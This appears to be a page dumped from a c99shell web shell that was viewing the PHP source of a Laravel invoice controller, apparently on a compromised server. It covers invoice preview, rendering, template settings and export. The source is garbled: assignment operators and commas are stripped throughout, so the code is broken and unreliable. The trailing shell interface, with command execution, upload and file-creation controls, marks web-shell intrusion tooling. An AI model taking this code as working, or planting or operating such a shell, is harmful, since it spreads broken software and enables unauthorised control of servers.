$objUser \Auth::user();
        
$settings Utility::settings();
        
$invoice = new Invoice();

        
$customer = new \stdClass();
        
$customer->email '<Email>';
        
$customer->shipping_name '<Customer Name>';
        
$customer->shipping_country '<Country>';
        
$customer->shipping_state '<State>';
        
$customer->shipping_city '<City>';
        
$customer->shipping_phone '<Customer Phone Number>';
        
$customer->shipping_zip '<Zip>';
        
$customer->shipping_address '<Address>';
        
$customer->billing_name '<Customer Name>';
        
$customer->billing_country '<Country>';
        
$customer->billing_state '<State>';
        
$customer->billing_city '<City>';
        
$customer->billing_phone '<Customer Phone Number>';
        
$customer->billing_zip '<Zip>';
        
$customer->billing_address '<Address>';

        
$totalTaxPrice 0;
        
$taxesData = [];

        
$items = [];
        for (
$i 1$i <= 3$i++) {
            
$item = new \stdClass();
            
$item->name 'Item ' $i;
            
$item->quantity 1;
            
$item->tax 5;
            
$item->discount 50;
            
$item->price 100;
            
$item->unit 1;
            
$item->description 'XYZ';

            
$taxes = [
                
'Tax 1',
                
'Tax 2',
            ];

            
$itemTaxes = [];
            foreach (
$taxes as $k => $tax) {
                
$taxPrice 10;
                
$totalTaxPrice += $taxPrice;
                
$itemTax['name'] = 'Tax ' $k;
                
$itemTax['rate'] = '10 %';
                
$itemTax['price'] = '$10';
                
$itemTax['tax_price'] = 10;
                
$itemTaxes[] = $itemTax;
                if (
array_key_exists('Tax ' $k$taxesData)) {
                    
$taxesData['Tax ' $k] = $taxesData['Tax 1'] + $taxPrice;
                } else {
                    
$taxesData['Tax ' $k] = $taxPrice;
                }
            }
            
$item->itemTax $itemTaxes;
            
$items[] = $item;
        }

        
$invoice->invoice_id 1;
        
$invoice->issue_date date('Y-m-d H:i:s');
        
$invoice->due_date date('Y-m-d H:i:s');
        
$invoice->itemData $items;
        
$invoice->status 0;
        
$invoice->totalTaxPrice 60;
        
$invoice->totalQuantity 3;
        
$invoice->totalRate 300;
        
$invoice->totalDiscount 10;
        
$invoice->taxesData $taxesData;
        
$invoice->created_by $objUser->creatorId();

        
$invoice->customField = [];
        
$customFields = [];

        
$preview 1;
        
$color '#' $color;
        
$font_color Utility::getFontColor($color);

        
$logo asset(Storage::url('uploads/logo/'));
        
$company_logo Utility::getValByName('company_logo_dark');
        
$invoice_logo Utility::getValByName('invoice_logo');
        if (isset(
$invoice_logo) && !empty($invoice_logo)) {
            
$img Utility::get_file('invoice_logo/') . $invoice_logo;
        } else {
            
$img asset($logo '/' . (isset($company_logo) && !empty($company_logo) ? $company_logo 'logo-dark.png'));
        }

        return 
view('invoice.templates.' $templatecompact('invoice''preview''color''img''settings''customer''font_color''customFields'));
    }

    public function 
invoice($invoice_id)
    {
        
$settings Utility::settings();

        
$invoiceId Crypt::decrypt($invoice_id);
        
$invoice Invoice::where('id'$invoiceId)->first();

        
$data DB::table('settings');
        
$data $data->where('created_by''='$invoice->created_by);
        
$data1 $data->get();

        foreach (
$data1 as $row) {
            
$settings[$row->name] = $row->value;
        }

        
$customer $invoice->customer;
        
$items = [];
        
$totalTaxPrice 0;
        
$totalQuantity 0;
        
$totalRate 0;
        
$totalDiscount 0;
        
$taxesData = [];
        foreach (
$invoice->items as $product) {
            
$item = new \stdClass();
            
$item->name = !empty($product->product) ? $product->product->name '';
            
$item->quantity $product->quantity;
            
$item->tax $product->tax;
            
$item->unit = !empty($product->product) ? $product->product->unit_id '';
            
$item->discount $product->discount;
            
$item->price $product->price;
            
$item->description $product->description;

            
$totalQuantity += $item->quantity;
            
$totalRate += $item->price;
            
$totalDiscount += $item->discount;

            
$taxes Utility::tax($product->tax);

            
$itemTaxes = [];
            if (!empty(
$item->tax)) {
                foreach (
$taxes as $tax) {
                    
$taxPrice Utility::taxRate($tax->rate$item->price$item->quantity$item->discount);
                    
$totalTaxPrice += $taxPrice;

                    
$itemTax['name'] = $tax->name;
                    
$itemTax['rate'] = $tax->rate '%';
                    
$itemTax['price'] = Utility::priceFormat($settings$taxPrice);
                    
$itemTax['tax_price'] = $taxPrice;
                    
$itemTaxes[] = $itemTax;

                    if (
array_key_exists($tax->name$taxesData)) {
                        
$taxesData[$tax->name] = $taxesData[$tax->name] + $taxPrice;
                    } else {
                        
$taxesData[$tax->name] = $taxPrice;
                    }

                }
                
$item->itemTax $itemTaxes;
            } else {
                
$item->itemTax = [];
            }
            
$items[] = $item;
        }

        
$invoice->itemData $items;
        
$invoice->totalTaxPrice $totalTaxPrice;
        
$invoice->totalQuantity $totalQuantity;
        
$invoice->totalRate $totalRate;
        
$invoice->totalDiscount $totalDiscount;
        
$invoice->taxesData $taxesData;
        
$invoice->customField CustomField::getData($invoice'invoice');
        
$customFields = [];
        if (!empty(
\Auth::user())) {
            
$customFields CustomField::where('created_by''='\Auth::user()->creatorId())->where('module''=''invoice')->get();
        }

        
$logo asset(Storage::url('uploads/logo/'));
        
$company_logo Utility::getValByName('company_logo_dark');
        
$settings_data \App\Models\Utility::settingsById($invoice->created_by);
        
$invoice_logo $settings_data['invoice_logo'];
        if (isset(
$invoice_logo) && !empty($invoice_logo)) {
            
$img Utility::get_file('invoice_logo/') . $invoice_logo;
        } else {
            
$img asset($logo '/' . (isset($company_logo) && !empty($company_logo) ? $company_logo 'logo-dark.png'));
        }

        if (
$invoice) {
            
$color '#' $settings['invoice_color'];
            
$font_color Utility::getFontColor($color);

            return 
view('invoice.templates.' $settings['invoice_template'], compact('invoice''color''settings''customer''img''font_color''customFields'));
        } else {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }

    }

    public function 
saveTemplateSettings(Request $request)
    {

        
$post $request->all();
        unset(
$post['_token']);

        if (isset(
$post['invoice_template']) && (!isset($post['invoice_color']) || empty($post['invoice_color']))) {
            
$post['invoice_color'] = "ffffff";
        }

        if (
$request->invoice_logo) {
            
$dir 'invoice_logo/';
            
$invoice_logo \Auth::user()->id '_invoice_logo.png';
            
$validation = [
                
'mimes:' 'png',
                
'max:' '20480',
            ];
            
$path Utility::upload_file($request'invoice_logo'$invoice_logo$dir$validation);

            if (
$path['flag'] == 0) {
                return 
redirect()->back()->with('error'__($path['msg']));
            }
            
$post['invoice_logo'] = $invoice_logo;
        }

        foreach (
$post as $key => $data) {
            
\DB::insert(
                
'insert into settings (`value`, `name`,`created_by`) values (?, ?, ?) ON DUPLICATE KEY UPDATE `value` = VALUES(`value`) ', [
                    
$data,
                    
$key,
                    
\Auth::user()->creatorId(),
                ]
            );
        }

        return 
redirect()->back()->with('success'__('Invoice Setting updated successfully'));
    }

    public function 
items(Request $request)
    {
        
$items InvoiceProduct::where('invoice_id'$request->invoice_id)->where('product_id'$request->product_id)->first();

        return 
json_encode($items);
    }

    public function 
invoiceLink($invoiceId)
    {
        try {
            
$id Crypt::decrypt($invoiceId);
        } catch (
\Throwable $th) {
            return 
redirect()->back()->with('error'__('Invoice Not Found.'));
        }

        
$id Crypt::decrypt($invoiceId);
        
$invoice Invoice::with(['creditNote','payments.bankAccount','items.product.unit'])->find($id);

        
$settings Utility::settingsById($invoice->created_by);

        if (!empty(
$invoice)) {

            
$user_id $invoice->created_by;
            
$user User::find($user_id);
            
$invoicePayment InvoicePayment::where('invoice_id'$invoice->id)->get();
            
$customer $invoice->customer;
            
$iteams $invoice->items;
            
$invoice->customField CustomField::getData($invoice'invoice');
            
$customFields CustomField::where('module''=''invoice')->get();
            
$company_payment_setting Utility::getCompanyPaymentSetting($user_id);

            
// start for storage limit note
            
$user_plan Plan::find($user->plan);
            
// end for storage limit note

            
return view('invoice.customer_invoice'compact('settings''invoice''customer''iteams''invoicePayment''customFields''user''company_payment_setting''user_plan'));
        } else {
            return 
redirect()->back()->with('error'__('Permission Denied.'));
        }

    }

    public function 
export()
    {
        
$name 'invoice_' date('Y-m-d i:h:s');
        
$data Excel::download(new InvoiceExport(), $name '.xlsx');
        
ob_end_clean();

        return 
$data;
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0095 ]--